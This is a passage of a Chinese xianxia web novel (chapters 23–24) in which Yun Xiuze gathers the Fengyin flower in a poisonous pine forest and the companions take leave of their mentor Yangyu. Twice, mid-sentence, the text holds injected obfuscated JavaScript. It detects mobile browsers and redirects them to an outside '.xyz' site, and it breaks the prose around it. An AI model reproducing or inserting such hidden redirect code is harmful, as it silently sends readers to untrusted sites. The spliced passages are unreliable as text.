“主要是对这种花比较感兴趣了,顺带研究研究,酿的酒就给司命留下吧,等他以后喝了,写信给明青的时候,顺便说说好不好喝就可以。” 她很肯定的相信,这对师徒无论走到哪里,都能取得联系。 云修泽了然,无论是行医还是用毒,的确都会对各种植物草药感兴趣,他想起要找唐思月的事儿,和她说道。 “不日我应该就能进到松林,先生说里面毒物很多,我来找你要些避毒的法子。” 唐思月敲了敲手心,恍然道。 “哦~你说这个呀,我早就准备好了。” 她掏了掏,拿出了一个小册子和一个香囊。 “哝,香囊里面是避毒丹和解毒丹,还有一些常规的伤药,虽然避毒丹能够躲开大部分的毒物,你自己也不容易中毒,但凡事无绝对,若你还是中了毒,用解毒丹就可以。” 她指了指那个小册子,意有所指的笑道。 “这里面还有一些灵草灵植的采集方法,有毒的没毒的都有,虽然我不知道昆天谷里有什么,但若是遇上了,你也能知道该怎么办不是吗。” 几人沉默了一会儿,云修云默默喊道。 “......思月。” “嗯?” “好样的!” 云修泽眼睛都亮了。 23. 孚望二十三 今晚灰沉沉的,月亮没有出来,整片天空都是烟黑色的云,在风的推动下,静悄悄的挪动。 云修泽和明青回来时,就见唐思月在美人榻上酣然入睡,云修云正站在一旁,轻轻为她盖上披风,行愿和央玉就在不远处坐着低声叙话。 “她怎么睡了?干嘛不带她回屋?” 云修泽和明青过来坐下,悄声问起。 云修云走过来为他们两个各倒了杯酒,轻声回道。 “应该是累了,她今日跑来跑去的酿酒,又去了几次藏书楼,刚刚还说着话,一个没留神儿就入了梦了。” 央玉也说道:“总闷在屋子里也不好,让她在这儿睡吧,这个时节,也冷不了她。” 也罢,就让她暂时在这儿吹吹风吧。 云修泽被杯中的酒香吸引了注意,轻轻一转,倒是对她酿的酒起了兴趣,问央玉道。 “先生,那酒可有什么说法吗?” 几人的周围有星星点点的萤火,都是不自觉被今日酒中掺的琉璃花露引来的,央玉手中拿着拂尘在空中轻轻一划,将它们驱散了些,笑道。 “樊芝花本身香气特殊,也只在灵气充裕的地方生长,用它酿的酒,灵气逼人,入口清甜,后劲儿却大的很,喝上几盅,便能推着你体内的灵气自行运转一个周天,帮你除去些身体的沉疴,最奇的便是,它醉人却不会叫人头痛。” 央玉喝了口杯中酒,也不知是不是在借此回忆樊芝酒的味道,总之露出了点餍足的神色。 “从前我还不是司命时,最喜欢它,常叫人替我酿好备下,现下也是心境不同了,轻易不愿见人,自己也总没那个闲心酿,久而久之,就不怎么喝了,如今倒把你们盼来了。” 云修泽的视线被他的拂尘吸引,他不是第一次察觉到他喜欢自由了,成为司命,对别人来说怎么样他不知道,但对央玉来说,就算不是件坏事,也绝不是一件好事。 云修泽问道:“我看您似乎更擅长用剑,为什么平日里总是拿着这把拂尘呢?” 央玉惊讶道:“当然是拿来装样子的!你不觉得我很适合拿拂尘吗?你就说有没有仙风道骨的范儿吧!” 云修泽压根儿没想到是这么个答案,嘴角不禁微微抽搐,转头就去看明青,明青在一旁用手捂着眼,自欺欺人的躲避他的视线。 央玉哀叹道。 “你们是不知道,我想这樊芝花酒已经想了很久了,虽知道怎么做,但步骤复杂琐碎,那么多年也没动过几次手,幸亏你们来了,也算沾上徒儿的光了。” 明青突然说:“我之前也给您酿过。” 央玉听到她的话,面色肉眼可见的复杂起来,拍了拍云修泽的肩,道。 “可怜的孩子,你以后可千万别让她进厨房。” 云修泽一愣,那边深流已经出鞘几寸,剑身冒着寒光,剑的主人语气不善,说道。 “师傅,您很久没有指点弟子了,何不趁着今日......” 她的话还没说完,央玉就已经‘功成身退’,转眼就消失了,只有开怀的笑声还没消散。 明青面无表情的坐下来,心中有些气闷,转眼去看云修泽,就正好对上他的笑眼,她的双眼一眯,还没等她说什么,云修泽就双指并拢放在脑边,快速开口道。 “你放一百个心,今天我们什么都没听见!” 明青的双眼一转,别说是云修云捂着嘴不住的点头,就连行愿都默默的捂了下面具,她沉默了一下,差点就要被这奇怪的一幕逗笑了。 见她放松下来,几人又随意聊了几句闲话,云修泽拨弄酒盏,显得有些心不在焉,他突然问道。 “明青,先生他,没有家族吗?” 他没有姓,和行愿一样只有名。 通常来说,只有没有家族,不识父母的人才会如此,可央玉既然能成为昆天谷的司命,他的来处、父母、亲人必定都是很清楚的,他却只叫自己央玉。 明青的眼睫微颤,半晌才慢慢说道。 “司命系天地黎民,必须独立于万物之外,抛弃姓氏,斩断亲缘是不可避免的,成为司命前,师傅姓......秦。” 云修云睁大了眼:“那岂不是秦谷主的......” 明青点了点头,云修泽抬着头,微微叹了口气。 作为司命,斩亲缘、抛姓氏、祭双眼、困方圆。 一个天之骄子的一生,用来赌世间可能会发生的苦难,而世人甚至不能知晓他的存在。 “先生最像是红尘中的逍遥客,却不曾想,竟会甘愿做这司命。”云修泽微微笑起来,看着明青,说的虽然是肯定的话,但语气又好像微微带了些疑问。 杯中清澈的酒面勾勒不出明青眼中包含的复杂心绪,她仍然记得自己第一次意识到这件事时的心情,那是一种莫大的悲哀。 “我知道你能看出来,师傅最爱自由,他也不是什么系心天下的圣人,只是被人所迫,没能逃过罢了。” 云修泽并不意外,云修云的表情就明显多了,一个并不想成为圣人的圣人,世上没有人有资格评判他的对错。 “那若是需要成为司命的人不愿成为司命,其他人可以顶替吗?” 明青摇头:“不可以,如果没人做这个司命,那司命的位置就空下来了,灾难发生与否,与司命是否存在并无干系。” 她想了想,接着说道。 “在乎和需要司命的,从来都是普通的百姓,和上天无关。” 气氛有些压抑,云修云眨眨眼睛,左右看了看,挑起了一个不那么沉重的话题。 “哥,你什么时候入松林?” “哦对,我原就想说来着。” 云修泽骤然从自己的思绪中被拉了出来,才想起原本要和他们说的事。 “其实进松林并不难,但是在水中,我的实力不能很好的发挥,先生有意锻炼,我也就多打了一段时日,如今也算得上是驾轻就熟了,明日你跟我一同前去试试吧。” 云修云睁大了双眼,指着自己问道。 “我?司命大人不是说让你自己一个人进去吗?” 云修泽给他脑袋来了一下,恨铁不成钢道。 “我又没说让你跟我进去,总不能我在水中都快游成条鱼了,你还是只旱鸭子吧。” “嗷!” 云修云呲牙咧嘴的捂着自己被打的地方,嘟嘟囔囔的说。 “我从小到大下水的次数可比你多多了,哪里算得上是旱鸭子?” 家里人不太管束他,他从小就漫山遍野的疯,下水摸鱼十分在行,那鱼通常都会被他烤了来吃。 云修泽:“下水玩跟下水打架能是一回事儿吗?” 云修云知道云修泽是为了他好,他也不是什么只知招猫逗狗的纨绔子弟,有变强的机会自然是好的,刚才也只不过是习惯性的反抗一下罢了,云修泽说了,他就乖乖点头,哦了一声。 夜渐渐的深了,云修泽看明青的神色有了些倦意,便说道:“都回去吧。” 几人点头,行愿走到美人榻旁,做势就要将唐思月抱起,云修云却跃跃欲试的凑了上来。 “诶——行大哥,行大哥,我来抱行不行?” 行愿迟疑了一下,低声说道。 “你可以试试,她有些敏感,可能会醒。” 云修云点头,动作小心的将她抱起,唐思月软软的靠在他身上,云修云一下就将身体绷直了,只觉得耳朵发烫,看也不敢看她,险些呼吸都要停滞了。 “嗯......” 果不其然,唐思月微微蹙眉,好像就要醒来。 云修云微微一惊,害怕将她弄醒,连忙将她小心的递给了行愿,行愿早就预料到会这样,一直在旁边准备着,很快就将她接了过来。 唐思月想必很熟悉行愿的气息,几个呼吸间,便又在他怀中安稳了下来。 行愿冲云修云点了点头,稳步抱着她离去,看着他离开的背影,云修云心中第一次浮现了些担忧。 尽管行愿一直和唐思月以主仆相称,但他跟在她身边日久,唐思月失去了所有亲人,身边也只剩下他了,两人之间是存在着超越主仆情意的亲情的,唐思月潜意识里的信任和依赖做不了假。 但若是不仅如此呢?他能争得过吗? 一旁的云修泽和明青将他的心思看的一清二楚,可两人对视一眼,谁也没有上前说些什么,情之一字,缠绕成结,旁人皆是心余力绌,唯有局中人可解。 * 第二日,云修泽就按昨夜说的,将云修云带下了水。 不知道是不是云修泽的错觉,水中的篪看到多出来的云修云,似乎愣了一下,随即就张着嘴快速冲了上来。 云修云的水性的确比云修泽要好,云修泽也没有一直护着他,只是间歇性的为他吸引一些篪的注意力,剩下的就交给他自己应付。 篪今日的进攻显得尤为凶猛,云修泽无意间对上它的眼睛,突然恶寒的抖了抖,只觉得自己是和它打的有些失心疯了,竟然从中看出了十分显眼的怨怼。 云修云的灵力不如云修泽,就连云修泽都无法轻易给篪造成伤口,就更别提他了。 不过他很有自知之明,也清楚自己的优势就是灵活,目的不是为了伤它,而是为了保护自己,于是不停的绕着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15958672|177559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 它翻上翻下,让它打不到自己,偶尔还会试探性的去追它的尾巴。 还是那句话,篪要烦死了! “咹!!!!!!” 它突然大吼一声,剧烈的扭动着自己的身体,直接把云修云甩了出去,尾巴横扫而来,云修泽见势不对,拽着云修云一起往后退去,可还是没来得及,被它的尾巴尖扫了一下。 云修泽倒没什么事儿,但云修云还是不可避免的受了些伤,他推开云修泽的手,示意他要自己对付,让云修泽不要插手。 云修泽无法,只能退到一个可以及时救到他的位置看着。 两人在水中和篪纠缠,直到日暮西山,才从水中爬上了岸,明青依旧在那里等他们,她张了张嘴,本想说话,却被一个声音打断了。 “咹!!!!!!” 原来是篪,它并没有像往常一样,等云修泽一离开,就安静的回到水里,反而浮上了水面,愤怒的冲三人叫了一声,回身一个摆尾,溅起了巨大的水花。 明青在它出声的那一刻就已经退了老远,还在岸边的兄弟二人猝不及防的被浇了一身,刚刚弄干了衣服就又变成了落汤鸡。 云修泽一脸茫然的抹了把脸,看着篪拍完就走,云修云就更懵了,他迟疑的问云修泽说。 “哥......我感觉它是不是不太喜欢我啊?” 云修泽摸了摸下巴,奇怪道:“不能吧?我感觉它脾气还挺好的,今天心情不好?” 明青一身干爽的回来,似笑非笑的说。 “是呢,可能今天心情不好吧。” 兄弟二人不明所以,但还是对她的偷跑行为表示了谴责。 三人回了周天山,见他们又带着伤回来,唐思月只能无奈的给他们治伤,她一边给云修云胳膊上的伤口包扎一边说道。 “我从未见你们和父母联系过,你们成日这样,尊父尊母倒也放心,竟不怕你们出什么意外。” 云修泽笑了笑。 “家里都是供着我们的命灯的,里面有我们出生时取出的心头精血,是生是死,他们还是能知道的,明青也是因为她哥哥的灯没有灭,所以才出来找他的,你们家也应该有啊,怎么将这事忘了?” 唐思月一愣,手下的动作也慢了下来,低头笑道。 “是我糊涂了,竟将这事忘了。” 她说着,手下不自觉一重,将云修云疼的嗷嗷叫起来。 之后的日子里,云修泽也不着急,带着云修云一遍遍的入水,直到将他练的也差不多了后,才独自进了对面的松林。 这里不愧是司命亲口承认的灵气浓郁,云修泽刚刚踏入森林,就感受到灵气扑面而来,他没有主动修炼,这些灵气就好像自主的通过他的皮肤不断地渗入到他的身体中。 云修泽深吸一口气,只觉得通体舒泰,忍不住就想找个地方坐下修炼,难得的风水宝地啊。 但云修泽还是忍住了修炼的心思,一心一意准备先去寻凤引花。 他往嘴里送了颗避毒丹,小心的四处探查,突然脚下就传来了‘吱’的一声。 ......不是吧......不能这么倒霉吧...... 云修泽抽抽嘴角,唐思月特意给他指过小册子上一种叫鼠缘的草,叶片圆润,呈翠绿色,因为本体很小所以很容易被人忽略,若是不注意碰到它,它就会发出如同老鼠一样的吱吱声。 为什么要特意指它,因为它虽然不是毒,但却相当难缠,只要碰到它,它就会化作细细的藤蔓寄生到人身上,尖刺刺到人的肉里吸血,拔是拔的出来,可它会在人身上留下看不到的种子,从而反复寄生。 想要彻底拔除它,就只能在它下一波种子生长成藤蔓的那一个瞬间抓住它,然后用灵力将它逼出体外,一次往往是不能除干净的,总要多疼上几次。 云修泽僵硬的去看自己的脚下,暗暗祈祷是自己的幻觉,可天不遂人愿,在他抬起右脚的那一个瞬间,就有藤蔓拔地而起,迅速缠上了他的小腿。 云修泽......云修泽欲哭无泪,只能蹲下身,认命的开始往外拔,一边拔一边疼,还要一边注意不破坏它,谁让这也是唐思月指名说过,要是遇到就要给她带回去的草呢,悲催。 这点儿伤其实不影响他行动,但这里跟别的地方不同,到处都是千奇百怪的毒,让人中毒的方式也是防不胜防,他可不敢大喇喇的拖着还在流血的伤口到处乱走。 云修泽拿出伤药撒在伤口上,盘膝开始疗伤,灵力在经脉中快速流动,几个周天过后,云修泽就深深吐息,看向小腿上的伤,发现已经不流血了,于是就简单包扎了一下,起身继续向前。 24. 孚望二十四 在吃过一次亏的情况下,云修泽开始认真注意自己脚下,果不其然又发现了几株鼠缘,他小心的避开了它们,走远了些,离开了它们的生长范围,但没过多久又回头找了过来,带着点儿报复心理,把这里的鼠缘撬了个一干二净。 凤引花的珍贵程度无需多说,在外围肯定是找不到的,必须要往森林中心走走。 云修泽发现,这里虽然是昆天谷专门培育灵草灵药的地方,但松林并没有很刻意的被做成一个药园,反而最大程度保持了它原本的样子。 云修泽不知道自己走到了哪里,只觉得周围越来越安静,他警惕起来,观察着四周。 一阵风从他的左侧吹来,云修泽的余光中捕捉到了什么,还没来得及扭头看看就猝不及防的被粉红色的烟雾笼罩了起来。 “呸!” 这雾呛人的很,云修泽一只手捂着口鼻,皱眉扇了扇,烟雾中看不清方向,他手中快速掐了个诀,就很雾就随之散去,但根本没能维持太长的时间,不一会儿,它们又围了回来。 意识到普通的方法根本没用之后,云修泽就开始找这雾的源头,他往雾最浓处走去,果不其然在中间看到了一株散发着微微光芒的粉红女郎。 这种花花瓣饱满,层层叠叠,茎叶弯曲,远远看去就像是一位粉红女郎婀娜多姿的身影,它不仅有毒,还有一定的攻击性,就像现在一样,它会散发出粉红色的浓雾迷晕自己看中的猎物,然后一点一点的将猎物蚕食。 可云修泽早早就吃下了避毒丹,这雾对他来说没什么作用,倒不如说此时见到这位粉红女郎,云修泽高兴的很。 它可以卖出不错的价钱,看这雾的浓度,它的年份应该也很不错,更何况他们的队伍里还有善于制毒的唐思月,这种东西对云修泽来说就是走过路过不容错过,先薅了再说。 云修泽打定主意就准备上手,只见他的瞳孔有一瞬间变成了绿色,右手的经脉也开始散发青色的光芒。 他的母亲是天竹,而且几乎用了全部的精血来孕育他,所以他也理所当然的拥有了一些特殊的地方,比如当他主动催动体内天竹的血脉时,短时间内,他可以做到水火不侵、万毒不入,当然,这都是在他原本就没有中毒的前提下。 眼见着云修泽就要碰到粉红女郎,它身上却突然传出了明青的声音。 “云修泽!快救我!” 云修泽手一顿,看着那朵粉红女郎动了动花瓣,明青的声音还在继续传来。 “我不知道怎么回事儿,一觉醒来,意识就被封印到了这朵花里,你先别拔它,快去找师傅来!想办法救救我!” 那朵花动的越发激烈了,云修泽满眼的怀疑,往后退了两步,捂着自己的脑袋喃喃自语。 “怎么回事儿?花儿疯了还是我疯了?” 那朵花儿停了一下,云修泽继续念道。 “我吃了避毒丹,所以我没中毒,所以我没疯,所以是那朵花儿疯了,对,那朵花儿疯了。” 云修泽又走回到粉红女郎旁边,粉红女郎似乎对他感到无语,已经彻底不动了,云修泽捏着下巴思考。 也没听说过这花儿能说话啊,成精也不是这么个成精法啊,这还能要吗?别是假的吧?昆天谷里应该不至于,嗯,采了再说。 粉红女郎这次没有挣扎,很顺利的就被他完整采了下来。 在粉红女郎根系离开土壤的一瞬间,一直围在他身边的雾就消散了,露出了两个人的身影。 云修泽向他们看去,笑道:“周道友,许道友,两位好啊。” 不错,正是周彦止和许知夏两人,这里是昆天谷的松林,这两人作为弟子出现在这里可太正常不过了。 对于云修泽能准确说出他们的名字,两人并不感到意外,许知夏挑眉说道。 “云道友,我们还当是哪个弟子被困在里面,正准备救上一救,却不想是你。” 云修泽笑笑:“许道友,你的阵法让我印象深刻,以后有机会一定再向你讨教。” 他的语气带了点挑衅,许知夏知道他还在为明青被掳走的事记仇,于是欣然应下。 许知夏的狐狸眼在他身上微微一转,不经意间看到了地面上因为粉红女郎被连根拔起而留下的坑,表情扭曲了一下。 “你干了什么?” 云修泽说:“哦,有朵花好像疯了,我帮你们拔了。” 周彦止哈哈笑起来:“云道友搞错了,这朵粉红女郎是稀少的变异种,师傅一直很宝贝来着哈哈哈。” 许知夏:“......” 云修泽:“......” 周彦止:“哈哈......哈......不好笑吗?” 云修泽真诚的说:“对我来说,可能是的。” 突然被告知可能得罪了昆天谷的谷主,任谁恐怕都笑不出来。 要是他们俩没告诉云修泽这件事,云修泽可能还会收敛点,但现在既然已经得罪了,那就最大程度的再多捞点好处吧,云修泽盘算着。 许知夏翻了个白眼,扯扯周彦止,说道。 “走了,他带的是周天的令牌,咱们不用管他。” 云修泽低头看了眼腰间刻有周天二字的银紫色令牌,神色平静的跟二人道别,看着两人离去的背影,他突然喊道。 “两位道友,你们家这花智商好像不高啊!” 许知夏一个趔趄,周彦止回头想说些什么,被他手疾眼快的捂着嘴强行带走了,只回头瞪了瞪云修泽。 云修泽无所谓的耸耸肩,他在森林里转了几天,也遇见过几次其他弟子,但他们见到了他腰间的令牌,无一例外,都是远远跟他打个招呼就走,莫说毫不知情的世人,单说昆天谷弟子,对周天都是尊敬有余而亲近不足,这样看,央玉出不了周天,也许是件好事。 云修泽在这里待了四天,直到第五天才找到了凤引花。 两株凤引花生长在森林中心,这里有一大片空地,周围是泛着蓝色光芒的绒草,密密麻麻的挤在一起,簇拥着中间的红色花朵。 可千万别小瞧这种不起眼的小草,云修泽蹲下身仔细看了看,神色登时变了变。 这是剧毒榜排名第三的雪绒草,腐蚀性极强,而且还能不动声色的麻痹你的痛觉,顺着人的伤口,毒性就会进到身体里,等你什么时候发现自己受了伤,没准被腐蚀的地方都只剩骨头了,体内的毒也会让你五脏逐渐腐蚀化水,只能痛苦死去。 云修泽并不想碰这个,他看了看空中,觉得昆天谷不会出这种明显的纰漏,随手拿起脚边的石子,注入了点灵力往上扔去,石子就像撞到了什么障碍物一样突兀的掉了下去,几个呼吸间,就被雪绒草腐蚀了个一干二净。 果然,这里是有滞空限制的,雪绒草下恐怕还布了什么阵法。 这群人真狠啊。 唐思月给的避毒丹和解毒丹能够解决大部分的毒物,但雪绒草可就不一定了,好在量够大,再加上云修泽自己的特殊体质,他还是决定赌一把。 云修泽将伤药全都拿出来,解毒丹和避毒丹都只留了一颗,又送了两颗进嘴,剩下的就捏在手里,随时准备着。 他一步迈进雪绒草堆里,双眼完全变成了碧绿色,脖子、脸颊、双手,露出来的地方,经脉全都亮了起来。 腿上的衣服很快就被腐蚀了个干净,雪绒草的麻痹在云修泽身上不起作用,他能清楚的感受到,皮肤在不断被灼伤。 剧痛让他无法快速的前进,他往嘴里不断送着丹药,腿上的肌肤快速的愈合又重新被灼伤,这都已经是他多管齐下的结果了。 云修泽不知道自己走了多久,一开始他还能保持神志清醒,但后来,剧烈的痛苦已经让他开始意识模糊,现在所走的每一步,都是强大的意志力在苦苦支撑着。 恍惚中,他似乎看到了一闪而过的红色,那抹红色就犹如泼头的冷水,让云修泽一下清醒了过来。 他的神志清醒了,可身体却没有立马跟上,所以导致的结果就是身形不稳,眼见着整个人就要落到雪绒草堆里,他连忙用手支撑了一下,虽然双手和膝盖没能保住,但这张脸好歹是保住了。 云修泽只觉得自己宛如身在火海,手脚正在被寸寸灼烧,汗滴顺着他的脸颊划过他的下颚,滴在雪绒草的叶片上,化为了一缕青烟,凤引花就在他的不远处,伸手便可触及。 至此,他身上所有的丹药都已经消耗一空。 凤引花本身无毒,云修泽咬着牙,伸手就要去够它,可就在即将拿到的时候,突然被无形的屏障挡住了。 竟然还有一层结界。 云修泽心里暗骂,将灵力不要钱的灌输在手上,他现在没有多余的时间去思考怎样正确的破除结界,只能靠最简单粗暴的方式去强行突破。 手指一寸一寸的艰难前进,就在结界彻底破裂的那一瞬间,云修泽也受到了严重的反噬,骤然吐了口血,鲜血落在了雪绒草堆上,还有一滴落在了凤引花的花瓣上,不过一个眨眼的功夫,就如同从未存在过一样消失了。 云修泽并没有在意,因为在他拿到凤引花的那一个瞬间,他的灼烧感就完全消失了,雪绒草就宛如普通的小草一样,温顺的在他身边,再没给他造成一点儿伤害。 云修泽迷茫的看了看手中的凤引花,呆楞了一会儿,然后痴痴的笑起来,越笑越大声,最后干脆直接躺在了雪绒草堆里。 原来雪绒草的克星竟然是它。 他问过明青了,这花需要很多很多年的成长,成为现在这个样子之前,它的模样就像是最普通的一朵小野花,很少能有人注意到它。 但其实仔细看,还是能从现在的样子里看出原来的影子的,只不过人们忘记了剧毒七步之内必有解药的定律,竟一直以为雪绒草无法可解,世上多少人丧命其手啊。 云修泽休息了一会儿,爬起来查看了一下自己的伤口,运转体内的灵气,发现流转滞涩,体内还有阵阵痛感传来,想来还是中了些毒。 他拿着凤引花,雪绒草已经不会对他造成伤害,看着这成片的雪绒草,他是薅呢?还是薅呢?还是薅呢? 云修泽最后还是拖着受伤的身体,勤勤恳恳的把能带回去的都薅了一遍,只有一株的他不薅,但他得拿点儿种子,毕竟这种机会难得。 于是在云修泽拿到凤引花后,又足足在松林里待了一天才出来,他已经将身上不得体的衣服换了下来,本想直接御剑回周天山,却一眼见到了对岸的明青。 他御剑过去,这次篪没再攻击他,很顺利的就让他到了明青身边。 “你一直等在这儿?” 明青:“巧合。” 云修泽笑了笑:“好吧,真伤心,我还以为你在这儿等我呢。” 哪里就这么巧了,可既然她不愿意说,那他也不是非要点明。 “怎么样?”她问。 “不负所望。”云修泽轻描淡写。 明青看着他,突然将他背在身后的手拉了出来,手上被腐蚀出的伤口还在,看着就很痛。 明青抿了抿双唇,抬眼去看他,却撞见了他温柔的神色,眼神微微一颤,原本要说出口的话就被咽了下去。 “怎么......” 明青的话还没说完,云修泽就挨过来,弯腰把额头抵在了她的肩膀上轻轻蹭了蹭。 明青噤声了,她能感受到他的头发毛茸茸的碰在她的耳边,垂下的手捏了捏衣角,没有伸手揽他,只是轻声问道。 “怎么了?” “唔......有点累......” 明青一动不动由他靠着,两人只待了一会,云修泽就重新站起了身,表情也恢复成了平常的样子,笑道。 “走吧。” 明青迟钝的点头,两人在夕阳下赶回了周天山。 这两个多月他受伤可算是家常便饭,唐思月已经习惯了,帮他拔了个毒,然后就简单处理了一下他的伤口,剩下的靠他自愈就可以,并不影响他行动。 云修泽把几人都叫了过来,埋头扎在一起,悄悄清点了这次的战利品,唐思月看着这一株株灵草,眼睛越来越亮,几人一商量,准备马上跑路。 “哦~准备跑了?” 几人一静,抬头就看见央玉不知道什么时候站在了这里,能看见脸的都一脸心虚,除了云修泽。 他十分坦然的笑了起来:“是的,这就准备跑了,先生要不要和我们一起走?” 这话问的就像开玩笑一样,可央玉知道他是认真的,不由得莞尔一笑。 “怎么?你小子,拐跑了徒弟还想拐师傅?” “您不想走吗?” 央玉突然发现,云修泽这小子居然只是看着乖,实则一身的反骨,他笑叹了一声,说道。 “唉,我倒是想啊!” 云修泽果断道。 “那就走啊!” 虽然这样说,但他心中明白,央玉不会就此离开,他看着央玉的眼睛认真、冲动,也试探。 你究竟可以做到什么地步呢? 央玉慢慢咧开嘴角,邪性溢出,那天那种高高在上审视他的感觉再次出现,还没等云修泽反应,就又突然像幻觉一样消失,他自然的笑问道。 “你还记得你那天在雾中迷失方向吗?” 云修泽不知道他为什么突然问起这个,但还是老老实实的回答道。 “记得。” 央玉歪了歪头,说道。 “那雾不是用来困住你们的,是用来困住我的,你那天找不到方向,是因为我在那里,我不是不想出去, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15964870|177559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而是根本出不去。” 一旁的明青低着头,显然很清楚这件事情,云修泽没有想到竟然是这样,他的嘴唇微颤,不知道自己还能再说些什么。 央玉的神情温和下来,他拍了拍云修泽的肩膀,又摸了摸明青的头,说道。 “好孩子们,去吧,你们该出发了。” 这是央玉第一次让云修泽如此明显的感受到他是他们的长辈。 五人中,感情最丰沛的云修云眼眶已经开始泛红,云修泽只觉得自己伤心,但他却不知道自己在为什么伤心,只知道自己的表情应该不算很好看。 央玉笑着揽了一下他,给了他一个盒子,说是为他们准备的临别礼物,让他们离开昆天谷再打开,又叮嘱道。 “前路险峻,要记得坚守本心,才能看破迷惘,明儿我就交给你们了,可要全须全尾的给我带回来。” 云修泽点点头,明青忍不住上前抱了他一下,央玉轻拍着她的背,云修云和行愿也一一上前和他道别,最后连唐思月都和他轻轻抱了一下,低声说道。 “酒埋在哪里你自己知道,不要提前偷喝。” 央玉无奈的埋怨。 “我才不会,这酒这么难得。” 唐思月笑了笑。 “保重,以后回来看你。” 云修泽在旁边点点头,也道。 “以后我们还会回来的。” 央玉也不知有没有相信这个保证,只是笑着将唐思月脸颊旁的头发拨到耳后,轻声说道。 “你们也是,保重,我还有好酒,等你们来看我。” 两人分开后,央玉的拂尘一甩,云修泽就好像回到了第一次见他的时候,只见他笑的揶揄。 “还不赶紧跑吗?谷主恐怕已经在来找你们算账的路上了。” 云修泽心中一抖,刚刚竟将这事忘得一干二净,修法之人年岁悠长,实在不必有过多的离愁情绪,之后还有的是机会。 几人收拾了下行李,步伐匆匆,离开了这座待了两个多月的山峰。 央玉送了他们一段,在他们的身影消失后,就在雾中慢悠悠的自己往回走去,他的背影依然挺拔,只听见他自言自语的笑念。 “世间枷锁本是梦,无形无相......亦无我。”【注1】 话尾的轻音随他的身形一起逐渐被掩埋进了浓浓的雾中。 * 五人偷偷摸摸的准备离开昆天谷,就在即将成功的时候,一股强大的灵力自上而下笼罩在了他们身上,让他们动弹不得。 秦谷主紫衣烈烈,从远处赶来,面带怒容,大声喝道。 “无耻小儿!纵你们拿走我谷中珍宝已是开恩,竟还敢贪得无厌!” 唉,是福不是祸,是祸躲不过啊! 云修泽无奈,让明青和唐思月待在马车里别出来,自己迎了上去。 “晚辈云修泽,见过谷主。” “哼!我管你姓云还是姓天!今日不将东西交出来,你们就别想走!”秦谷主拂袖。 云修泽笑着打太极。 “这话可不能乱说,天姓是皇族的姓氏,咱们修法之人虽说不受皇权管辖,但也要有基本的尊重不是吗?” 秦谷主皱着眉,只觉得云修泽油嘴滑舌。 “莫要顾左右而言他!” 云修泽的眼神冷了些,恭敬说道。 “不知司命大人有没有告诉过您我们要去干什么,他唯一的亲传弟子与我们同行,想必是不放心的,他那么多年不出周天山,对于松林中灵草灵药的情况知道的不算详细,只叮嘱晚辈可以拿些需要的,只要给昆天谷留根就可以,晚辈愚钝,未曾拿取独株,过于珍贵之物,除了司命指定的凤引花,其余的也并未拿取,原来竟还是过于贪得了吗?” 秦谷主被他噎住,他不知道他说的是不是真的,央玉轻易不愿见人,他拿这事去求证,恐怕是见不到他。 他的神色不明,云修泽不知其中是否掺杂了几丝悔意与愧疚。 秦谷主安静了一会儿,才厉声说道。 “我当然知道你们要去干什么,司命是昆天谷的司命,我这个谷主,难道还能不知道吗?” 知道最好了,云修泽笑起来。 “谷主是手眼通天的厉害人物,想必应该见过多年前风光无限的镜双子吧?您觉得,他们怎么样?” 秦谷主盯着他看了一会儿,哼了一声说道。 “和你一个样子!目上无尘,目下空!” 说完,他就拂袖离去,竟然不再计较云修泽拿走的灵草灵药,很快就不见了踪影。 与此同时,周围隐隐包围过来的也都随之消失。 云修泽没想到自己在他口中竟然能与镜双子相比,他面无表情盯了一会儿他离去的方向,这么好打发,看来他对央玉有愧啊。 他回到几人身边,说。 “不用着急了,都先进马车,咱们说说话。” 世叔为他们准备的马车很宽敞,五个人坐进去也不会觉得很挤。 明青语气无奈,嘴角却似乎轻轻弯了一下。 “你何苦拿师傅的事刺激他。” 云修泽靠坐着,脸上依然没什么表情。 “能逼迫到先生的,世上能有几个人,我无法评判他的对错,可心中不忿,他既送上门来,就噎他一噎,出口气罢了。” 明青轻轻摇头,沉默了下去。 云修泽拿出央玉给他们的送别礼物,总算有了些笑模样,说道。 “好了,别想那些事了,来看看先生给我们准备的送别礼物是什么吧,说真的,我总有些奇怪的预感。” 几人往前凑了凑,看着云修泽将它打开,盒子里竟然是一卷灰扑扑的卷轴,几人都愣了愣,云修泽将它拿出来展开,他们仔细看看,又在同一时间抬头对视,不约而同说道。 “地图!” 不错,央玉给他们的送别礼物,竟然是镜双子的五份地图之一,云修泽转头去看明青,明青摇摇头,语气茫然。 “我不知道啊,师傅从没和我说过昆天谷有双生子的地图。” 云修泽笑了几声,怪不得人们总是集不齐五张地图,若每张地图的藏身地都是这样的庞然大物,谁又敢去招惹,这还真是份儿大礼。 先生啊先生,他攥着地图的手慢慢收紧,看来您对我们真是寄予了厚望。 他将那份地图收起来,说道。 “现在只剩两份地图了,大家再接再厉,时日将近,我们没空闲去计都了,直接去佘渊。” 行愿看不见表情,眼神是一如既往的平静,唐思月笑的温柔,云修云则双眼放光,很是期待的样子,云修泽一圈看下来,最后看到明青,两人对视,云修泽笑道。 “走吧,我们该出发了。” 25. 协济一 “铮——” 